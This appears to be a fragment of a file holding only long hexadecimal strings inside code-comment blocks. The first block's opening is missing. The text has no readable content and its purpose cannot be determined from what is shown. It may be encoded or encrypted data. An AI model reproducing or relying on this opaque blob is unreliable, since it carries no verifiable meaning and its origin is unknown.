13153cebf9880d392d22b7cabc6b34d3c5f0c43a8ddc6135cab409b6817337c93b122d2095851e831ef6509514e7e2dc7af49ef6e56e9984ebe972479763f5c0c0a891870e8bb50cd8307a297ba2166b9001544bbbc9fd86761d53621bf9465e93bc99680e3148af8d112a7bd58de881177d23e9810b157bf883e42f67971d692306e8e649a9aca853ad809a8cb2c30bce4e10e55e782af7ffa1888d3285b87a7aec3db400f2814554796e9e6d6189eae959f87d30459e684a9a141be85182e95ff88ab1110302c0d9e745a6b795738ac7a58cbf149855580f4e811fe3f1688bcd1523e31494ecbd65ace247327e26e3c2f95dc1a863113cd9180c4b23b76657439021779514ad3e98d4fdb674059f244e848c51e90db0410dd3c87caa42f9a3746490135b76bcede20f850481d9f1351ad06efda2a09cb3c683004685e455b24ed5768757fc4d9874c31f94a250bd81ec0a2a814a16fadb2fe61818b6f2b743f3d0bd100ad2f0e2914ae174f52775bc553908bbc68f59de843398ab745d13f9741690d09a2d0f5e0b92e12f8444a3301eba15ff76644ad2c2623acb6b1e9059d8739d4e199f4153cbbbb7dd0b9cfa5a7d6f8f198ea3b113a4f1d7c9abba1632bbd090c9ca1a0ccd10d047f764ecd0dfe7e372ebb1e8dadba29c85ff529a79f377d91bb546b6da0a068bedc152e25c52258750811bb4efa8790*/
/*a594b58a39e076123ab840208f8c3a0c4965ba86e1b9d7e5a76d45f173f295d80f1fc15ee1907f7dcf9e5ad61acc3361b1b9a39536d342c9d2d492a841f298ce1fed5b4138ece197ffe5fce3a57b5569fad4efb1b37f43baa9789bde4dc3b176f3b9f44e445afc9cfc1e8011cccc368b871c59861c145bb4ff0f66f87acc13e780998db56c284452d8cdf40f4ed4f63d1416b6ed63a3e076bef45715c95db251c7edbc2a224a8ca7b1b8345296778a889589f42bbf47cac1fc8bb125140f0d353fa5b36f5f06dbf7adb1c13d3807c12565641284a0928cfcca6d9a78dd4725fe5c876a914bbce7fa9680e7056b9d42d5756959ae048821074a9e8da7113f0b78fbec128d45243f0f633c5ba36bfcd9fa7e05d3803e0fa97e5b9a613d63e420db5dc0482f45d8d08187ab9bbd32378ad45f9a329aeba42629e8d827aa0a12f17f00f54898b5195a2ff14546f6a5f9167044f4ad0e0303463ea5df95d8d338239352a4965daf120cb52c48ea5dbe85919a714cdcc85606abe03b60ed7552edf9fcf7ae299ff23c3edb8b361dca1e7e4b7fa7ff931136e6c3f92614420c8968ddc6d1e7ac5c2db5117b20ecf558c57beeab249a0d89241ecb0e610d03343864450e2569f7b1f76f071dc7c723044c4c64ef5928194c5d4e927fa6fe2fbdd652d4a2f45f214084533294f09d67b1c9aa7b6011278b7e2bf4f2598b1bca14659a50f4263a208999ba9d7765eb2be25c6a91f009127b0b95788b8775b7175a3f97a0cd80d3d09bbc81551f4b2456d2c2ef0d8d067fcc73f44902f3ea49a0ba34b6043aa27d954e71eaaf9950e4813af25a0a59be26a9b49991eda15fed1bdd398b0987214c8de0b7e8c3216a5088618cd25e7ad2a6c1cd99089f30404feb5ff626d2b724627903400ae573228a931bb6ab9c6fdb7e73b26d0e92f00564389738abbbaa298caa3b276d4e57d48951c0be67eafed0128c6062913832102dd1d97c9ec0c7ae8b313b0ab055b9e908a944d4bc16c7825fd41ff941b1a9fbf9b11f7d7cb63298f3f620c064f7a5de6cc30821594d145417cde8578ae3145513a0409c2e53ee1d49cd878ef20589163be1d4be0feb987910255a3445d3540f6ddf7601e580d20acf4f40a28cd7b0d4d9babf462ddceab4c49f401fe427ce23f0b7cb1db01285cfa6de52bf5fb9cd2a9281936b93a63101a26fbe67445c8d09afa64a0ed14a898b5298c2dae0bce937d0027e5a6f68d7556f3afce8a168b5f9c23ccdaedb5d5762b143efff11a05e844d9f0442918cffc8f808273e713e7e80fec54a1b7252c8d694d0f3bdd8b1da47ac6c6ef5258b0ff4776bdefd64bb9382c81b63aa56ce2472692c037c58729a4ea225904812f801c1d3aa11b824e3004fee08fd11bf7eac978af596f6bfc66f17b6d4998896364126c316a85abe8bbb0cd3829ab70531cb9b80302a17859d1f4e55bf6150a69812b15a999a8f161e86cda83d57a8c9055a45cdd27aec6fe478af95f24f0616c4a3581c197fdef28f9e6b5807c01d1ff5ddd8a1abf68a2069d13be99156a9bf60bc8512bce0842886a71129e2ab8f6e9e25a837be175e3647520f3f39e8992d23df6d24aa58c5a5eb07c0a8b8b8b631a943a65ad9a0b8761b1da3fc8beb23592ca391ce39428cc802c27da76b9a32fc355bdf635bd0db56c35157a986783e3e943c71e6ed68920deaab1c256f5057245dc6b3763e95fdf5d3e80f3878f5fd90c45d3ea4d974a9fa9d12ae73d19a72bc0ed12748acff028490037823053da4a6133a064e754d7c5b9995d4bfeac9f86cc72127d56dc92a388b379143c310a7aa1483ac3e694f824c50318a80236fc48f4c1bca430ecdba7e64e3a20bebd404a457134f83dc9f46d95bf4dee79f999e6fe9a4890f424abe7c5f902454a688781ba48bfef82c6897edceacd95fb90808969e57ead9d082feba0bf891f4c31cd547138de579abfe0451f5e2ff517d2acacb0d1d9f9b1a70428833f5ec54b323c05656240948cccaa2c9c3b44a16e3f2781cfa6cf684dee4770e47d0ec2c2cd4674b2dc9c4df8881f672186c43b875df1885daefb23690ee7ab755ab10e62072725aa7060fa5d141d0a5fefe9a23486145d0178162c3382ab36f9785725655c120ea17207910cc37e9b6e3c4abe389c11f78d07180b9fc0401b5be81df212e8e70540a6f01a6a4dbaa1d8d60457ee8119692ff3c2d7512b37ba5048f730b96a17b017f23a406fcd414a1500fdc2dbabd0c3f9e1ebcf6dc4574978077e6bf5faea6d061d1bc689f84edffa60632c8addd1521f713c1b8732a23b38c984db267cbf847a24a56771edc9381023938b18bd631a4ef769c9292e3efe7931ffe82b188b5f31927e016dea7057e0e23bdcef8258ffcd597f35a188efad547fc6bc01f052455b0a9309c8c95d4e65e7f0b421acc3d22836c37f7afc0c3f614b4c1d0a66127094b2e38cfa4df43f65092f79ada583332883f32aa50655676eabdc7c91127851f70d86c50cf3c7da45287ba7599cb0f253ddacd0863698952d3640961541282d7f7ce5a369ebe4fa16d48fac3b5e9c37caeeba589c50c45854eafdba523f12a6f17ddfdec8c4744cdeac6f2b73e5cbb9819ecf9ffe5f4b2d53c6d77b23b56a353d71dce9b3a4d3c002c4fbf5e8c2a6b942cd156a226aa872f7dfa54dc70a38f9cace0cdd79e993cb50361613c97102ea330b3fb3367386abbe9862d9d53ffd85fb57768a2efcaa6b353c528df048ed65a567965d0b8c2fea82ae54f67b166b702687e88ac9bb4e762490db1708095541f38db0159793895e6f6b8e27d03dac1ca9143*/
/*9cccb5f26432d617e34b38338de67c8b52b92e088a5afde1f00cdb166242000bb01d79fc7679e32c45da895138d004f45f1949b2bb7711f89084461cc90e688c3152e4bd81a8ded5bb1612f1297a60773218876b8c2eca06ce8c221af1b889003630820126732c37dcd842ecb7f535bd48af329c341165dc3571ee0e84443ee385bb07043e196498c0ed06752227394d21379827cca6db68e4e4a2f65d6c5ba720b88c2ac1d69a17d9f30a22242a6a1b0102f28a3909e5ee06340337b483289c7d32a96e16edb662a1897814166ba49303e10d83022e127d47da36b29d379da87150d072a910e6b7a9cdbd42d98d7e86b7e98eb610398f3dbc5009b31c7d656af63addc4d389c7ae6a64db3e66fd2c9d18e25aeec952a8701252a4109975aa46634e131f2f83375210eaf279415c4f67cb8c076a848bc629a47aa8189a1e6d51b6c5805d62ffb12e9829c3ca50ed316c803cdc013f8331a65aec3adb836f4f7901429ccf620c07a711c667557b9b85880c83f7d47866ea4ef8adc11ec612a261a6be6357e1b6f6cfd0bc10c911a37f782e419fce8f614a0b5d3a4fdb6142cf06fbc4a65122af1e74474c2897c0487d7630d0ea12e4859541c35a36e7018d492fe16a4c10c0b1f9373102b784d8ec39e6144043795ba97e9c1d3b025a80ab1ec31b4c1bf66ab22b2d4e1602de4ffb86f6ebe83befd5c45503e7562d83777a46bdd38766251ff76d1905377ffb692dfb4b186401eeaf73a848e76e321636d102094f239576dbbae708ac685750e8317526fb1cde6aa49bdcfd442fffa81434c1a09d58e3fb3cb88c6f8d11b765d463c866b9d842cb7f11dc423d4470b95869e96e77a65dab34ff4dc0d1e46bad6358924bb67cb4bfceab48e5187c9a2320a0d10c099298f883ae83390e35787f30b8f3a6063000a16e35a8a2cf9e63d9035c6760d467cc86aa2b22248461b4249958d714eea4b5c58860687929b960febbaa31badd44809206d99e05f7d8cf7cd0b0162f1ec6c650d38d21c50c0e4b4523c8919932924656cdeed6990c6cfe9da6fa26eec9637d785599ebc4e792ecd4a662b96235d4f47dfbac4d7c1070893aeaf659d2dc9e2037d194db6a32e84702d902c5f9e3f64b9ed98ead79a9d3c2c21e22a0cd9f97650f56cb320a09399c110ae9b47c00d51e56bf75e7bce255b36232b52566d0bc3f60a81c6beae1372ffec1e89ecbb965e339197e640e159b234ec86d438ef8f0512b9dfcef2f4063420fcf2a792545eb3ce9b0d2566d903b1f9b80223b089b2ea6945204623c13f0f18bf4efd01c77e58baf75967794905b6ca8414c8a51e32fbf8638f435a079616e3d112911d67a992358c6ec443fdde6d562f31fd46173239e7bd05616ba717fc9e3b47cee29bceafb7e110bfff5478a8f35e0aab7c2c2d99a8c420862a1c177b7269b2d6fef6c388dfcf3a211d59a144cca700f35fee37ff486f195db99a87cb60c9c25be99e96050fdba44bfbe04bec1dc8d6bd1e5178b3b8c4b9366b591008f83ebe90799b347722393b10a8089892c1eb9127ff2f75daa76d1fef9f9b686af80427f2ced23e87df69bd9345ff53697cd93a01868c507db490bc176007b23bd41157290a6c0314c3b7b4bfe88ed7a5e7edc02e0418e5de280fe44d2ba05e9ffd620670741079435264fa20f438309bee78a8478e75b9291fa0c19ed7254a03dd5608cc640a86d71c66773db8a1131f1ce215668191c4970dee10ebb0ac3c4d0edbb0544c38646ceaa0f2d3f839d227e9b6a3b8867b541f0f500dd5168e0f382364bf8f705cd81f48c27fd7b98ecaca1dc4da704b738de725a78e509c006460c853f5bacda2e95d29d32e2a134259a76be168436c7676e3f27ff853ed27a9e719c4f0e9e6f1d569cc0d81f0013a94c8774a105cb578941e1e6e5d4cb0962a629d0698eb22394d768718f172128cb509efd683d41421a63dcb1f645f22e00cd3b95b240efdb64f8867708bd4e5bc3eb6615a2fe91d657b322ea23e291739852cfc7561fb622c649e724fbef68be03c9f3981b429e3e890a0a5d5534e77c1df36370639a288e0b597b0cabfde72f182522c043dcca7f4ec75bb941d28160d7004db02cecfb52f99da078977f7307fdc3ba59247f8fb82bc8cbd3dd38662df01d00a8e477b3774c2f95a553c48d9cab5b08c6c46abb5a87097dc48c882971567d7fd3fb78d46f8828458fa576eb2fbe146bde8a7b300f7b42dba12a3295533b5294728fc2d9ba1d5efff0e809df4792a9df3bc00999c0d396dac2806c5d64f49b403d7a2e0e510a9f0f16c375bcfe0cb106b76ce98f3cdee46e072463318f0b2dd23b17b1c04503436605b8b01134fd2b6f02272272bec2c92c777fc493f3a8e06f063fddfbdb4742870296c6ad9eee984c92198ee6affe498aad1bfad3de790f1fdd13ec0c3db1ab23dcea4b4d0d81bdd1be39baf81d6b737d3cbede70f9df3be32afb89229e00d1313515b73dbc3ad1e52c090f1dfc6ea1e8a4305063c5ef9f736aaf6c89352f6e43723793a58bbb4f0a646b46674b830c73ca0be8fb9756571d8622738dda14ec379ab8dc829a5e2bd991cc2eb1ecb00cf69ba3c3cd067270001d3577b347ef7b850952b2e06ef5b2e0020956ab6f35e64326d1f515569761965f01638a56024a6a5002404bdc6fc39a04ee8290e080ad1eaf87c56961e8e66d6cb9a4e43340657367a98ee67dd6c6c5003ad0a1fa6095aad1d0bac2134ac9ff075e5abf2cbe631299851b9ed3b2095bf13dddbc1182a7d4f24307acc152b3ab879641aa044ea42a859cbba9d987ac832e1e9f5e12*/
/*477a500f58302d4dc88349b3fcce0524f1c1ad24eb12deb48753d67e4d823407e276c397aa4d66cae454874133152b16a2668605431536a1809d08e8cac523506c8e1c3211b2bd397e625a2be46894c562928c3144bfc7ebe312f47bc107e1e3f8add612a9e08aa8a2b18a07fef3d5a455ef93194b9a122d8c6e70336e0620540be1fd7964833fb43fe78895957c523ae74fa29265988961f54c5008e2be2fe12d47daa8b36bf6ebc18adb8f39f0a4e5ed1122e6c04f2736cf3faef3710430cc7d1dd8cb696740b540d779ef0094f6adf6761a90e5ba0586f46b404b542272992b291f5cf57e4a86d043957faa998144c312e39de6856353fbb171a503ca9f58845e98e3eebaa96a1db68fa898c01704fe64f2da4199620b7ea2d17e3e9647a429b49e7e401ae02106aebffbfba6a765c65d5c8922bb2d4a4cc1fa0ab1e71150f046974a8c81b67dd98ed3f9783663691f29bf08824031ab8b418be75766316b3226bdd994a62aa0fc7a6ead1192eee5ea7b167cce9fbecd23a4d8c2c85623b1a853795187d44f45d126eb3356f29fe9c8bbc836f38a608a702ec0f457d593c98364e1d178a69cd08945b2dcc684b8254fc57d69cec25c41b65bc26fd24870a274a5fd89a7168f85c4e4e59913855b1baa1fc9942b349f0efd45b8c8b4b41a1d5f3392378b987b565cd734ec983d25147eb247e244ef853d5f1ef29767aaa1007c6bb6ccf8e4b7a13c959775f0c88294e1484b1f2086912d2ac888cf5452ccf64f616a5f07ec1d1c5b5398db8adc6c98ef051ef61d957e61330a394f9a0f9ac53c364153747bdd724e00c3f0ccf32a172642a4eb60c872dfbb6933f70d3b171aaa4c40485bfcc65c43b31a24ac3458581d4d8187629c03138e946d123dc10ebdce3ef82efe98cdcab3a649c0f3d9c80c44b39b764db08fd3b30ea2830e2117e49c5279c38c811c2df42f15debddca4b202910d42051e5b1de1b1fcd6e4861725d28811513d5ba6f176455608604c0bb7e238d744482c1632670102199d42970bb3a312129aab3cc46089332666778d6301618142b1095b1e5a707de4caceb99ee800df547b39be44e7dfecda37293e882f773d339e9b4de2ee1f39e7764535f790e64a03b7e3175447a35ccd47dbbec807583b76f4db38ed118c5cb0cf89e96c5880aca8df18b5d427b84b063a284884f1bc5151291d1049bba938057336ab6c4221300dce8864c4e73389a3bbe824d387d1edbd4b7ad1d7a6ea33462c4a48e9d4ceff9a620c75d30bff196fe476af0f9094aee04294c089bfa0855f8319714da046b86905fab282bfd1fe50cf891c54715a415f86eea67ad4276b4b9d5a5bb6ec065fc20309a1cfbb7f3298b57007490215e5df76817e83ec7b4595e62541963ba4757463f9e230724d7bd02bf1df3152af60f0d3fbed710c1a465100228d02061c75c84e5163c1b6e5e60d9787dbbc65a925ce6490a39cb911b3f89b9bfc8c412a5d3c15737732c7c55103d9a1e2fc9c884d782addcad169c6d18a71c254e8762735f83a21aaa52028e86a7c673067047d19bfc5a76176bbe6888e0be8ba077896706c251a8954be7c85b9861a9fb8fb5341e39823fffd4460c653d3bc0db728da9f3e8b4599945c544c1913114c54ef30fb2a7cf60770b8c978891e6c3dbaef45771e4cdd34b3b7f73547161dea2ce5005402f82e8427716bef322e587b556fa914c127518006d3b492abd3ba186dd777b75c62c9b1d6cb4a2d94bb54f1a39783b9bf67e7116a51e9bc61c5c66c355e257aacdeb69954fd23f3e59c9f4524fc15d865e7734616464e2f032f662a634cbc8eb6f5706b7e6668acdaa83ac46906d0e40e0ba0927404b3ca959e68141a3380170f2d6a597493a8dadc4969f7e16fbcf9c8d28c7be6900b94867b039f224dc21479a039d3867801f4be828039e8133e4aa1d6a2b5920157eeb627daed31eec869ababf565ef3600e1ec638d3f86896aa3d33d0349c31125d43b37afae04b90f9038ecfe65f577d916c5c4ac37c21ad43e567c64160021843954aa74ce49e9005a38d5b8773304806089439a89b5165642efcfb61994f48a0d6a44400e15aef0cb80fd73c6bd0111417b5b9bc447c360d64e6c776296f7c22a37788f1745f7289c245cbeaec333322c7f42fe51449f9fe14d2ef4193d375206bf433e3c3458a4238e3e1aa187068479123b07a49603efb664b2dc6bf84b570c62b84a22bb28cc53562de8255691a79bac7a4d8f8fb694d24b9637843d8b6967ada5977c09a8bd4d72e1914c49f56de05458edaa974904983b6d2b6df30852fd10105f607c6741e267b2bb5790fcd05f3a2d063926abe61e3ff4f1e0beccfcfebb258f8c0c6e87f024edcd9d68e3ade8f78f02684a222620a35f08a4518ccb2d2c96b8b7053a5b69ce46d85b612368eeaf88c67a94285583be6935e2e8128ad77a86e8086fe46cb3d91ad9183da0210213f016bb13ed15aef0cbdccd6b8b51ee53627e2345b945086a3677706bfd602232bec9f93a656875638d36846ecb3d0f7987cd6aee19f0af4818dbcb1e9e2d342aab1296a7bf790986782a2f0972c5c861fd0cbeba12b939702e0c764f0a857fb02dda88277e16cc2d1479e6e8617db56092b95858e2e2710ea8754f971a43fbab6107d11d5efed1840e48d4591c56405beeee3363a552c21efdac469fc56174e80deb0393a20ddd4fcb8a26fab3db01449d534c8851b300cec794cfcdcffc18518e7c7ed5b7fadeb8cee51ef0825c2b980a54c58842f687394fd722aa67e1550f441c8d59d7b53d710eb0a38682a3ac0835e1e522*/
/*0bad54ca7baec5cb44c057503e41069c8036134aeb596b9f2b4ac36134ab6d7a9402664a519a3441592c5abfee8888038ec74580550feef94a72b902f840ce8f41ba6650e2251bd004f4c8cd6fdd1a212bc3566de411e1ed2fb2466ca8c641862bc2d78a3f8bf40ad2600f463f2c120dad192448d465637677db648fafada64e2cbe4b68b58d18dca3520d8e42c2896ee08a12f856d470d40d329db2c2a9cdc4708c270e52356c2388b93184eca83c7271045e9ccfac146069d9c985d7f6e714b57b0bfc7ba1b173ba88c505fb8037ed4f70839329e316d669b97785bba23ca66219292b9a3d44836ffb2ccb15db3da9b6ee6b06d05eca6b77220b155019c24f40b99d62d72ddd16c65189dc07aa6b19465bf7731871beb87e433cc68cfd5a2da6628442560a8fa83c21d808b92d99167dd177306fd76d2dfd940ecb61a58329e9720603fe6a8769ffaa237249b40a2ffd3940023f278d038338612b32262f7a22cbc65f34ae4ff3da6d427abb5026b7fd690688ea77ad8eeafbfe7502f0da9a5ed733d1ff8a8fd28fcd019c63bf2247a71482851152386562e08f01326c97755511892e40cca32be4bf5f8505e792efcf98c98cf9c233c5e3d5a5d06ae8ba45716c4fb8ba3676469f3f9de1677ecad2be70c928c8cc19eee2da9201ba91044edaa587d2a00374c85a1c1a964c7d48cfedc129445e18423024baf7716aa0a90a188d8331f067ccafa2769763d4bd908eaafa83bbbf08533e2ae1e25850d3caf8363994ea40b924fe0f9714849545a711a53bdf495ad0d90184bdb8c157e63b7fb9b474b0b978985f646e875843ac1a3a25a63819e605c79c58242a6938337fe868462b73f57d3e2116f93aeeb3ad1727593e4ef0e5be334d3769482fb75a7f4056eff9ac1fa5b2acbc6e2649944ec07ce9df8fdf5183680dae417e58a3a3ff2a75de74f9ca495237e5895b5c7147b27515b549265610c389fe8aab06cd2498ed78f969fa71e26f7240779bbf24bb86a14657f676a69b16ef00b8c5d38c8da894c8d9362724275526accf398e6ff110d568dfa7c51deefdc74c4f4eeeda04d6725f8d2b5dc61dd7557f437048bb478f67bc601d831d2f2d2bbdbd251b4347d36b0ce96c991861af4a1f32d52d9a2245f1c1aefb2de44575a5cb0a3963f0a46754c36af1ff74c8a35d3227e7d30116f1b0ce13cc9ce99a289950017b31d0c6b2efd403b80d5b7795eccbe3602aebb655b210276d192d150f4172a30870329aa1ae470de86e39c02c01136ceb436cf911ae2405ddfa693c1c251ab14f4c409ff2e6b232f42227815346eaf78671ae52c49810dee21525d3fe7da29538a2218561f55e4787ae81043b27cb295ad956f251cf8c9ccad318c613a0603735c8e3e2de23f74660b03b739e94d8b508f721308c70a27588666a6c06814a237acfcb673b7f52a6794d95f5d5159a3e5e996ebbdfbcb8059ec2412c34c64a07051cad9d237377b3fe269f4fdb8b2a3961910343a539198156a03fd2217a95c523db254b82de0de19b243ab8757e67448fbe6ec0a78c4067496c2939027d573f86d50be22b68ead391b20ecbaadb36eef10526e740627f718a6804a5da38b8e18682868f0990fd9e18bce838197d3dbd4aaa9b0cb0d030a1ec08ae2543c54848a4aaff119b2f5c6a8aa9eb4053826ad470613c44aa81c0793b89fcbb3309da6297d4c3a0e7744a981451027fcd2f996d28a469aa944d46f28ba4c1e78bdd4f28e11a77b8e63922dac9274afc7c03a59dd380cd648c34fed62a53d1bef47c22a55cc5ee10b1df389f7a2b26b465ef48eabc3f86c3eb96034c310800b56bd7bbe633313c1d45060e650a337763d6f7b9cd2da21e7b2ebaea4367ba9fa3520852d10f6348a56c4d7abfd1eb98c8db63c711689d35008a70007c615e4e8ad4060cecea4309285b48de9c150d2b7996bc248cc2e05460687ae5099bd18e89706184f5c961a1c7d286a162d9ca0cbef19f2201042637f57e5a159e73ec257989a068c3eaa780fb6fed89daada288c204e2df189cea0203ae0fe45903e59671d0fcae66572a71e91c3d4522086f6e25bf70e14ed058a41ad209e56e3457644ec220ef505c00480225eabc31c3ca92bcacdba00912f196b2f7f2c98087242cf2a4a709f253d6a79545c6f5ba03c3a25488631039cf2fe8082f9a7ec3d7605f98adc1d674c77971b098c908b291983ba398c3fba0b25a388c06b05e488d2c598e50f23c012d0c459d4bb2d1458fb71dcabdd4b863b0273f78312eebb08f8fb207b13398fd87b14b74874e53f2d78db746e6b54f224e200c63ca826c657b8678fce78b4956981bf749dbc39fe90f2ce7d88bea0cdec3d51192d8b88f67751a05617e9f29ee8db9bfd827ad27197dde459bf9dbfc2e21e4a5e1c49d427c263938a06eba68e82e54029e9336715620e5b3bc634a220f031ecb13242906b109bb23a51cc615b913a931025293aaf7469e6ee50bd30662b4bf2c36729e93be6f8904cd0f44013fdcf072a88994f274d216fe268bfc98dabed33c4d53d569dcbc3ba0da79f8e04893edaa30a28459c7b83ba109939ab76d4050196e3a226c187daf981e077e07fbb79da6562b5b4a64396d285cb17f66e9abdbb1b4e1691473aeb74f8d140997165199c18f1a5e2fd25a65f81ee1ca11682d19da170c7b7145c9a76c3722ed5319c211510ae66014d3cc8ebb6183d9447fbedb81f4d2cb291f3feb2da936991a1678803312e43e172917756e29896092d0cdbc2586cd759822caa113f4573a87493ed468183b2e881026ab40b7ad4104a84795762ceaa2*/
/*8df9183ff611d1efe3c238dd3f6407b975a649184e3082a9b64d37bd8d846f517cbe3538c94f541aa21396362e4a4052b79d05c5793216441619d5186636c4d76952aa9bbc2321d4a64cd03ed378ba4bb0f6759c7db62fdc6a3e6d1b95a2c2fe46d04afed8a8162037cf767808deacb552b216764bae1eaac4b650698943724fec5e06631036fd007871eaed1d35fadaa50e8b87085c89534c60e40c8d85f7dd9fbf656c1ee7f69e567417e20b5dab1b22f405c6cffbd15ef4b71eea28978073ab4140562bb7dbda37168c6a2325035afad7c3f47075aec7b2d656d2f541d24cd26d742c0b57961c4fb9552071863b970d5b5a5aed9a1a1e0a1bfbbcd7a115c3036845dfb0b92e6d35609f6bd052963805fb8475cba4b2c2a259398a98e651cfb28bedb23f1b3baf57779cc3d77c107aef8f6bce9e4125185af52e5a25116954b70ccaab59aebe15dbcdaf67133e4999f4d86ff957fad208b0a6c8d40577f18590c7db3feee29434a593ba01eba9cf7fa1e5a9bb0e89499b6f6c01fe17263c7293f282b7f2061c07827de6d79b49b5271866e424af0d305b6b6a2abbce905ad31de83c0aa600040fcd01d9a9f39f11b1b422e6d6f6ca2c7d0521832b1b95c8c81c7de3f35db86bae47899e05b6c7c3ce336bc612a5c658c64e8e973ca51679d3309689dcf6b6b8392c7b049c2e04a18f8f3c0a769619cba7e7750c6a59ced0005a17cbbb9a43caad862a15459764dcfdf66b8578dda12dbc41a4a3eccc0e792e564d5a04a408df042ee802bf22e4e3eefcaa67c741e04afe9dd4d6b0845900b461e1a8615f6153b76e5e5d636e26a67c9bd67445b7c9068498b6b14ae76733b8974bedf959041fe021970d402c014515fdcbcbafee6d95b8b7dbc37ddb6da7b824fcb94280ef843017a793c8ae19f7b3749eb35b4aa3f88ab0459119eb83484da8ef5c12cd7e4cc186f3f313bc68b0191203f708c73243d3b2d39ce52795a12efbd3eea858fd86a54f3c45729cce435742886fe9aa64ce89ecd266ebbde62b6261d3167004f5d65b4c925a0139564fc83692fd97af705dadb9fc8ff3f0b8c4b1adafbd21e3af1af51e8a09a6ee21c61add3fd7c9329c8ba54d9156bf01d98955d013dc71a7e2c3c2895f0774112b42661e6c77dd2d15f328e5a3fc056ea8ea57d86065b194757ef13b632eacc701b436a55eedeea2a3dadd433211c4ced18a87d0847d981e04a6ee17a1eb8a0dfa119a8eeec1cb819dc5819c9440b101e7a3d927c4236d300765014de8e0da80d3e104e0338d945c3bd7bc8a826a541b7c959ef8c4c1e954fc17e46e69e73050c04cd5954592c7472af36806a4b44ab74a1686d0888938e7e408037aeff5f268fc483585420902056d5308970eb0366e2a342a6f9f9c249b1ea02a15ff463bffe5cb708eae4918bfd5c121353638e444ef0b124584832739f872407be5649e9462050bdc0a81240c8ddb1b1e2fe3dc18e2bb8830a31478c0b8e75fb674ab662394f4c1d515df42853a16597f263328dba6ee0f165d6e7b5af9f1bbed7d20288a9c2d6f64efe41efd37297135295845d3caa2748db3151cbea0af6d96e89b35d73faa5a824cb27f2c94dea569e066646fc28178db376d69edcdb6b62defcd0b7307dbc68cd18f64ecc215ee33fbc1fd56f7cc8dd9d926d74acacc5386ec85b1cd51e5f4213ebf60b4017d600b76335dd66642a3095f3082e21557dcfeb68a873d8b0b479bddbfb24195ac6d84642577f7b66f091c6ea5dd5a26057771b445e5f8e038a25af7e0c53ad2bd448b1945fe0b4314575fb7c4576d1f47ef3ddc6712b89b9af6c7ef63f7f96ed18aab675113ef0daf11498871ac99a5d0b483bc4a71392f5e48a2d17233f2e31887699b73cbef60b3ad770d01a8d3704f8bbacceef59c9d92ce2df989a2a7e96475dac63326a385611260f0fce9b22e31755e48cf1c4d2ab4a6871a5e0c0f53cdaca33cc5d8044904dd88449d5fabbf056734081b66c9f1958138692725ff0ff54b3b79a86fc7749bc431a69ecc8c1bf6ba28e41a584cbfa8ea7ad9e4a135b4619b88a69aa0082ed66793d46eeda3d7c9185daec09b78c7f8709f13d2878f09b9ce8599e20ce9dbd21ee965ea21ccc1c01ce7958f37ab95939761cde107735265e4798a9feea000f39da14352bb19ecd799cea4bf9151889c0049c96794903ae1fdd71a00bdd7668e87d56c04ae5a1f7e72efb608cad5669a38c4249d05c8f108ba0ce783a9b3034b80643f22fdaf58f288e3034761ca998f9be9c191782677b35ec8c3c5d11569aa359456f96d4bc43f7e4767e11725f753c87d6831676cddf90464c6469845b1e9dd385badaa0a40911c6865cda9928fe1766c2aaad8cc007b897f1ce6c35e862131bf1f1a1362f6b42db3ba832b30e29f67c427069c21acee315989ca91dd552a2332895a01239204791ddeb93491fac074114cc79d0bc140145d968a9d4fd04de9e8ccfff7ea6b15c6eaffdc4d26a6216915aed2158590d91e4005923608eb0d0ded1d8d64ca62753c22f55bba58040039d6e016fa00b81c097b556f7b9156793b4dde7e1c5aa7bf15624a6769a65c2e4ff968499d84980bf880273924f04f47e1cc1350a7f15acf153a4288f96a5daeb5d5e5d0179b924b4630c88548617836548b51e6205c9b7b5b67f6ccfa4265e39bb3503798a26ce1ec57fc4e77acfdf11eeb34f876fa59442da8fbd31ffd1d964bbb78a36404ff79e779b86bb25c8ff34fd09736aeda1a2a177904e04f64930c78ad5623b36af6c2101e884d0db8fda9fa0cb9921262195a0110285f5eb1a6ff31*/
/*542adc77f78c65c5df523fcfb76c05d8c1a53414ebd76f5e1c339ec97996c7fd7a49b2257333aea8d3949be0f801ca1d576d52e8502ebbb211427382f8e6845dc58292187ae797ba25d0138e0093db295337b2407cb16198a209347b5c14ab85a71a35354ae4d6b965d6e471aaae20d24fabf39f8435e39613c035952d7e83382b0581f9498277cd90497ca83b4c1df3ee113a7c2bc008edcb7a36bf90158b6dcce4e4490fba7ccb69c1ab2889a5777d6cbc1f6d334128abbe7e38644b497c95063588791cb42e8418b94a9976a1024656b313329070fbcc1369c8e81c1abea84061b96e6f8ea4df5affd86748068447878eeba9f27e4cad3b4a619fec42e15deff4a6c417df4dd6abe675c86944549bb724a056b194c32579d0847cb4abe813043ac0146a210662b6aa6533884fe8ee876e682f62052eef3825a742213abbf0b6f8bf23bdef4f00ed79be3ea9bb801c80d4e0045b9956fb6b4949e3d0e86896fc4f72773ad4c15e62785be5d0ac02ad567d8711e40f6962569af0b07ccf5dfcc8472b8bd522ef2435a150f09ea6d2e53740a344faac2268fff795bbce4f15514e8cb8106fdd294d2802865a365cecfcfebba1309ba14a8ee6c1bc5fe3cb9eb7296ec80c85de9d96fead63441451ca8c988a1ad5695117fcd65a151aaddf746d6649fd6d279c792fedd00ecd628952e10c15be0aa7b0b6a14ba1f85df5da93126f32d89178a85247df705569121e10fd4a7944d15cac99089926b6eab229ec4cee440098d1210fa60db226b55def2f51f3c2f57aaae4fd4f80991b44f74f0a8adb146b53b63be9c1b5bb5ff10d81cd0f6f34e6c547c1dfe30cb41bae82ccc2217da47cd693a58ff14f6bdc772e450bbf90694aae2eb839f27b7d88c2b55425343d41f5816450805dab9ca5bb718bfeee9522cc982931624ce9ef10b3b4418131f057080badcbb178153000da5754cb9e92705abfd61ee10ed90be261af30c326a6e3d423d1e7d37886870e2d41acdb84e079cae415d6f55b80188bc7431801ca116cedec47acf6421bc608c05495775bb49e710b19d01f6a614dcef850ca0a8c5090039fcd24076b341a1dccab8907cb44d54e25cb73b5bdf093af0804a47892f4d48bcd483e590b24a24c0b8a756df6c55f8f90024051a12cef4a6a24e189281f1120c916db4f05bab20eda9d98c34ea06835eae5afd0bb426e6d9557664396f00a9b571f2b9a10287160aec851e48469da6c018108dd7d080057ce1d343a6b40aefa6b27c0e9ce0d0fc21327b7d3e1e472e103d0c5c4bd09cc0756832347dcd4ed29315c1fafa1a3ad99163c515f1a639560b5772eccfd2bcfbfc422e4e4a46a69a817b463477376a707da05508ce05ff73eefa6100cd6076a2878296e0740acc1f5efa16961328ea21631cd49f7f9b883fb028112765797e61af2e737794c18d1fd2e5e9a42553da5d680f6f17632f07f06d7f879e545137ea